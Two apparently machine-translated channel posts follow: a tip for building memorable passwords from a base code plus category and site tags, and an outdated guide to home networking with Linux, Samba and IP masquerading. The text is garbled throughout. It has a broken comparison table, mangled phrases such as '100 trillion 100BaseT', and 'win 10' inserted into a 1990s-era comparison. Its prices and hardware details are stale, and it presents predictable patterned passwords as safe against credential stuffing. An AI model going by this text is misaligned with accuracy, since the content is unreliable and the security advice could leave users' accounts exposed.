🦑I have too many account passwords, what should I do? Teach you to set a complex and memorable password
t.me/undercodeTesting

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) The password is set to a universal, easy to remember, but often heard of "crash library" and other cases, breaking the password of a website, all network information is all transparent; password settings are complex and different, for a long time, I forget What password, every time you log in to retrieve the password will waste half a day. The problem of setting a password seems to be simple, but it somewhat troubles our daily life.

2) We do n’t have time to read through cryptography-related professional skills in order to set up a password, and we do n’t want to be easily obtained by those who have misconducted our network information. A simple trick can deal with it. In the process of setting a password, you will find that the combination of letters + numbers + symbols has a high security level, and generally requires 6 digits and more than 8 digits. Then we set the password best to think according to this standard.


🦑 1) The first step is to think of a set of basic codes. It can be a number, a spelling of a name, or an abbreviation of an aphorism, such as: every day upwards-corresponding to "TTXS" or lowercase "ttxs" or 4463 (stroke for each word),

2) The second step is to add a personality classification based on the basic code. For example, the account number related to finance is defined as: FINA or fa, and the definition of non-financial category is: Game, which can be defined by yourself.

3) The third step is to add tags for each website. For example, today's headline: can be identified as TT (the first letter of the headline)

4) Then combine these into a complex and memorable password rule: personality classification + basic code + website mark (location can be changed at will: basic code + personality classification + website mark ) For example: today ’s headline password is OK Set to: fa4463TT (accounts related to finance, the number of strokes every day, the first letter of the headline); the password of Weibo can be set to: Game4463wb (non-financial account, the number of strokes every day, the first of Weibo Abbreviations) We only need to remember our own coding rules.

5) The above method can set up different complex and regular easy-to-remember password series. Don't worry about your password being stolen on a computer or a small book, and don't be afraid that the "crash library" method can easily steal your password, and you don't have to waste time to retrieve the password frequently.

🦑 Network configuration-the arrival of home network full by Undercode
t.me/UndercodeTesting

🦑 𝕃𝔼𝕋𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) today, those of us who have spare money (sometimes Need very much (More) people started to try to network interactive housing. In the new housing, 10BaseT or even 100 trillion 100BaseT RJ-45 sockets will be everywhere like telephone sockets.

2) Home network also has some disadvantages. First, we do n’t have a technical department at home Support. In addition, network hardware and software may be expensive. Therefore, the advantages of the network must be removed from the cost of installation and maintenance.


🦑 Choose a network solution

1) Let's examine the possible solutions suitable for home networks. It should be pointed out that the PC industry is mature, and a variety of network options are increasing. They range from simple plug-and-play printer sharing networks to firewall protection and server support. Intranet.

2) Generally speaking, the more powerful the network, the higher the cost and management complexity, and the correct method is to always select the network with the functions you need. Common home operating systems and two uncommon network solutions-Linux and Microsoft NT:

🦑 Linux Unix NT Win95 Mac OS / 2

NFS xx * * * *


🦑 x Supported by the system itself
* Need additional support
-not supported

2) After comparison of chart functions, some systems have been disregarded. If you are not using this It ’s a pity, but it ’s best to discuss with the OEM, since even they all recommend you to replace it. In addition, all kinds of UNIX are included in a UNIX column, except Linux.

3) Linux started in 1991 and is different from other Unix on several important issues. Linux is a clone of Unix, drafted by Linus Torvalds and assisted by a loosely integrated development team on the Internet.

4) Linux is (and will always be) Free software, with very few restrictions (see GNU's General Public License), has grown into a full-fledged high-performance Unix, originally based on Inter 386, and is now suitable for more systems than any other operating system. Linux is not The only Unix-like free software, but it currently seems to have the best support. He can get good support from the online development team, there are a lot of documents in the form of HOWTO files, FAQ files and Unix help files, and can be online Freely available. A Linux package with an operating system and other full-featured software can be purchased for a CD for less than $ 30 or downloaded for free from the Internet.

5) For file services, printing services, mail services, gateways and routing, use Linux or even Only one 386 can be efficiently implemented. Linux is extremely robust, and many Linux in the world and its operation will not crash or restart for a year. I do n’t believe any Windows or Macintosh product can Do it.

6) Windows NT, the network-oriented operating system provided by Microsoft, was also born in 1991. To get all the features listed above will easily cost you more than $ 1,000. It has good support, and to replace Unix as online He will consider implementing it on various systems. At present, it has not provided complete network functions like Unix or Linux, but it will be done soon. There is no doubt that the prospect of NT with the support of Microsoft is bright. .

7) Unix is ​​of course an excellent network system. In fact, Unix is ​​the "war horse" of the Internet. All Internet-based protocols and services are developed on Unix. Due to the maturity of Unix, it has passed the growth that NT is now experiencing Pain, such as security or crash issues. Although many years ago it was predicted that the role of Unix will gradually decline, it is still steadily increasing. Before Linux, there was no affordable Unix for home use. It has the functions listed above Unix generally costs at least $ 2,000, and the complexity of Unix prevents its widespread use, only for universities and large commercial companies.

🦑WAHT ABOUT WINDOWS ?

1) win 10., Windows 95, Macintosh, and OS / 2 also provide certain network functions and use additional software It can also provide functions such as print services, file services, mail services, name services, firewalls and web servers. None of them are designed to support dense network services, but they can also do very well with the correct software and hardware.

2) Good. They can be configured for $ 500 to achieve the above functions, and the basic system is generally pre-installed in the PC, and it is easy to install and configure.

3) At present, choosing a network solution is extremely dependent on Because of your network needs and budget. Obviously, unless you are in a family business here, we will not pay a lot of money for this. The model now has almost the most powerful and economical choice.

4) Linux provides the power of Unix, and The more sophisticated installation program is easier to install and manage. In fact, if you have the time, patience, hard disk and Internet connection, you can choose one of many FTP accounts to download Linux. Seeing this, you will Strange why Linux is not more popular? In fact, there are about 8 million computers running Linux, including more than 40% of ISPs, large companies, and government agencies like NASA (NASA recently used a Linux on the space shuttle. The computer was tested).

🦑 Specific method of Linux networking

1) Assuming you do decide to build a home network with Linux, the first thing is to find available hardware. Now this is no longer a problem. In the past five years, Linux has been able to support almost all PC configurations, and as mentioned above, an old 386 can support a home network of 5 or more computers. Linux can run on any 386 / 486/586 / Pentium-class processors (including AMD, Cyrix), as well as Dec Alpha, PowerPC (Mklinux for Apple), M68xxx (Amiga, Atari), Sun SPARC, and MIPS. 386-based systems require a minimum of 4M memory Better) and 50M hard disk space (200M is better). Of course, the system chamber of Linux running on 386 / 4M / 20M is very slow, 8M memory and 50M hard disk are more realistic minimum requirements. If you have already thrown such a PC It ’s in the trash, hurry up and pick it up, she will work very well. The more popular set of Linux with user manuals is now available in bookstores.

2) If you have a Macintosh and PC at home, do n’t worry, Linux can work Most home operating systems live in harmony. Linux can recognize the network protocols and file systems of most systems on the Internet: MS D OS, Windows for Workgroups, Win95, Win NT, Mac OS, OS / 2, Novell, Amiga, VAX and Unix. The HOWTO documents available on the Internet detail how to support them.


3) Next you need to choose a network connection. Ethernet may be the cheapest, and even slow Ethernet can provide the performance that homes need. Fast Ethernet (100Mbps) has quickly become a commercial standard, and it is also for home Affordable. Ethernet cards range from a $ 20 8-bit 10M ISA card to a $ 100 100M network card.

4) 10Base2 seems to be a good choice for a home network, but 10BaseT is also good. 10Base2 connects the computer with thin cables in a daisy chain way To the Internet. The cable must be connected from beginning to end, and a 50 ohm terminator must be added to each end.

5) If you are decorating, you can easily install the 10BaseT network. If you use Category 5 cable, you can easily upgrade to Fast Ethernet in the future. A 10BaseT system with more than two nodes requires a Hub, and Category 5 cable is not cheap (40 cents per foot), so installing 10BaseT will cost more, but it will last longer and be more convenient than 10Base2. Linux supports almost any card, there is no need to worry about more.

6) Linux server for all home computer gateway to the Internet. this needs to be connected to a local ISP to provide IP addresses (preferably a static address) to the gateway .Internet connection You can use modem, ISDN, Frame Relay or ATM. Linux also provides a firewall to break into your home network from the Internet. Using a method called IP mask, Linux can only have a legal IP address and domain name Allow all computers to access the Internet. It makes all TCP / IP communications on your home network seem to come from your Linux computer.

6) When information is returned from other places, Linux plays the role of a post office and distributes the information to The right computer. Linux can easily support 2-5 computers to access the Internet through a 28.8 modem at the same time. Linux computers can also provide mail services, so that you can have as many e-mail addresses as you need. All of them only need one ISP Connected ordinary PPP or SLIP link. No additional e-mail service or subnet fee, because all the functions are provided by your Linux server.

7) Are you tired of having only one computer to surf the Internet or pay for multiple accounts? Let Linux help you.


8) Linux computers will provide printing and file services. The free software package Samba supports the SMB protocol for Win95 and WFW. Many large companies use Samba on their networks. After configuration, it will integrate flawlessly into the Windows system, allowing each network user Have independent or shared space, and develop and use printers (or network printers) on Linux servers.

9) Like all other Linux software, Samba is also freely available online, including complete installation instructions and source code, and is active In development and maintenance. Linux has another similar package Netatalk provides similar support for the Apple Localtalk protocol. A tape backup system can be installed on the Linux server to automatically back up your server.

10) Linux provides all traditional Unix network services. Sendmail or smail is completed. So all users on the system can have an e-mail address. Use the POP3 protocol to access e-mail accounts using e-mail client programs such as Eudora or Pegasus on the network. named can be provided. If you have several small networks or different network types, Linux can be used as a gateway to contact all subnets Together.

11) You can also use the core path to have Linux as a firewall and control the use of the Internet. NFS, a network file system, allowing computers to mount disk drives from remote machines. All packages of Linux support NFS, while other systems require additional software. Linux of course also supports other standard network applications used on the TCP / IP network: FTP, telnet, remote shell, ping, etc.

12) Linux also provides web servers and Java development systems. Several web servers are available on Linux, of which the most popular It is Apache. On the Internet, 45% of the web servers are Apache. Sun Microsystems provides JDK and Java compilers to develop Java programs.
